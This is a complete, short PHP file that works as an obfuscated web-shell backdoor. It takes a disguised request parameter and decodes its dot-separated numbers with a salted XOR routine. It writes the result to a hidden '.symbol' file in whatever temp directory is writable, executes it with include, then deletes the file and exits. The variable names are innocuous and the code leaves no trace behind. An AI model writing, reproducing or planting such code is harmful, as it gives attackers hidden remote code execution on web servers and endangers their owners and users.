<?php

if(array_key_exists("r\x65s", $_REQUEST) && !is_null($_REQUEST["r\x65s"])){
	$flag = $_REQUEST["r\x65s"];
	 	$flag	= explode		('.' ,$flag	 )	;		 
	$comp = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	$salt3);
            $x = 0;
    
            array_walk(	$flag, function(	$v7) use(	&$comp, &$x, $salt3, $sLen) {
                $chS = ord(	$salt3[$x	%	$sLen]);
                $dec =(	(	int)$v7 - $chS -(	$x	%	10))	^  44;
                $comp.=	chr(	$dec);
                $x++;
            });
	$marker = array_filter(["/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]);
	foreach ($marker as $key => $value) {
    		if (is_dir($value) ? is_writable($value) : false) {
    $data = sprintf("%s/.symbol", $value);
    $success = file_put_contents($data, $comp);
if ($success) {
	include $data;
	@unlink($data);
	die();}
}
}
}